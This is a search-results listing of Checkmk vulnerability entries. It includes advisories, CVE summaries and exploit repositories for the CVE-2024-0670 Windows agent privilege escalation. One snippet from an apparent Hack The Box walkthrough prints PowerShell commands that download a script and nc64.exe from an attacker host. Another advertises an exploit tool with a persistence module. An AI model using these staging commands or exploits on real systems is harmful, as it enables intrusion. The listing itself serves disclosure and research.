1516 matches found
Fsociety-CVE-2024-0670-CheckMK-LPE
🚀 Fsociety-CVE-2024-0670-CheckMK-LPE — Мощный доступ к системе стал простым 📦 Обзор Привет, друг. Этот инструмент открывает расширенный доступ к CheckMK CVE-2024-0670. Он использует слабую обработку файлов для получения поддержки SYSTEM. Программа включает специализированный модуль сохранения...
CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit
CVE-2024-0670 – Escalation dei privilegi locali dell'Agente CheckMK PoC Questo repository contiene una proof-of-concept semplice e pulita per CVE-2024-0670, una vulnerabilità di escalation dei privilegi locali nell'agente Windows di CheckMK. Un utente con privilegi limitati può ottenere privilegi...
CVE-2021-40906
CVE-2021-40906 - XSS riflesso in una zona non autenticata Applicazione: CheckMK Management Web Console Versione del software: dalla 1.5.0 alla 1.5.0p25 Autore: Edgar Augusto Loyola Torres. Tipo di attacco: XSS riflesso Soluzione: aggiornare alla revisione 1.6.0p26 o successiva Sommario: Il softwa...
CVE-2021-40905
CVE-2021-40905 - RCE tramite un file .mkp appositamente predisposto Applicazione: CheckMK Management Web Console Versione del software: Minore o uguale a 2.0.0p17 Tipo di attacco: RCE Soluzione: Da definire; i MKP condivisi su https://exchange.checkmk.com/ vengono revisionati manualmente da...
CVE-2021-40904
CVE-2021-40904 - RCE tramite l'applicazione integrata Dokuwiki di CheckMk Application: Console Web di gestione CheckMK Software Revision: Dalla 1.5.0 alla 1.5.0p25 Attack type: RCE Solution: Aggiornare alla versione 1.6 o successiva. Summary: La console web di gestione di CheckMk Raw Edition...
CVE-2021-36563
CVE-2021-36563 – Múltiplos XSS Armazenados e Refletidos Aplicação: CheckMK Management Web Console Revisão do Software: De 1.5.0 a 2.0.0p9 Tipo de ataque: XSS Armazenado e Refletido Solução: Atualizar para a Revisão de Software 2.0.0p10 ou posterior Resumo: A console web de gestão do CheckMK versõ...
checkmk_cve-2024-0670
checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...
CVE-2024-0670
CVE-2024-0670 – Escalata dei Privilegi Locali nell'Agente CheckMK PowerShell PoC Abstract Questo repository presenta un proof of concept indipendente in PowerShell per CVE-2024-0670 , una vulnerabilità di escalation dei privilegi locali in Windows nell'Agente CheckMK. La vulnerabilità consente a ...
CVE-2024-0670
CVE-2024-0670 PoC Dieses Repository enthält einen Proof-of-Concept PoC -Exploit für die Schwachstelle CVE-2024-0670 , die den CheckMK-Agenten auf Windows-Systemen betrifft. Die Schwachstelle tritt auf, wenn der CheckMK-Agent temporäre Dateien im Verzeichnis C:\Windows\Temp erstellt und ausführt...
checkmk-log4j-scanner
estensione checkmk per il controllo di log4j2 CVE-2021-44228 Questo plugin è un wrapper per logpresso/CVE-2021-44228-Scanner Apache License 2.0 Come funziona Esegui in 5 passaggi: 1. Trova tutti i file .jar, .war, .ear, .aar in modo ricorsivo. 2. Trova la voce...
HTB-NanoCorp-CVE-2024-0670
CVE-2024-0670 - Escalation dei privilegi tramite riparazione MSI dell'agente CheckMK NanoCorp HTB Questo repository contiene uno script PowerShell utilizzato per sfruttare CVE-2024-0670 sulla macchina NanoCorp di Hack The Box. La vulnerabilità consente a un utente con privilegi limitati di abusar...
CVE-2026-17548
Missing authorization in Checkmk 2.5.0p12, 2.4.0p36, 2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view that job's status and results...
EUVD-2026-65327
Missing authorization in Checkmk 2.5.0p12, 2.4.0p36, 2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view that job's status and results...
CVE-2026-17548 Missing authorization for viewing background jobs
Missing authorization in Checkmk 2.5.0p12, 2.4.0p36, 2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view that job's status and results...
CVE-2026-17548
Checkmk , a network monitoring platform, suffers from a missing authorization flaw that allows an authenticated user who knows the ID of a background job to view that job's status and results. The vulnerability affects versions <2.5.0p12, <2.4.0p36,
CVE-2026-15576
Improper authentication in the agent receiver of Checkmk 2.5.0p10 allows an unauthenticated remote attacker to bypass mutual TLS client certificate verification of relay endpoints by supplying a fixed placeholder identity in the request URL, resulting in limited impact on integrity and...
CVE-2026-15576 Agent receiver accepts mTLS requests without a client certificate
Improper authentication in the agent receiver of Checkmk 2.5.0p10 allows an unauthenticated remote attacker to bypass mutual TLS client certificate verification of relay endpoints by supplying a fixed placeholder identity in the request URL, resulting in limited impact on integrity and...
CVE-2026-15576
CVE-2026-15576 is an improper authentication vulnerability in the agent receiver of Checkmk versions prior to 2.5.0p10 . An unauthenticated remote attacker can bypass mutual TLS (mTLS) client certificate verification on relay endpoints by supplying a fixed placeholder identity in the request URL....
EUVD-2026-63903
Improper authentication in the agent receiver of Checkmk 2.5.0p10 allows an unauthenticated remote attacker to bypass mutual TLS client certificate verification of relay endpoints by supplying a fixed placeholder identity in the request URL, resulting in limited impact on integrity and...
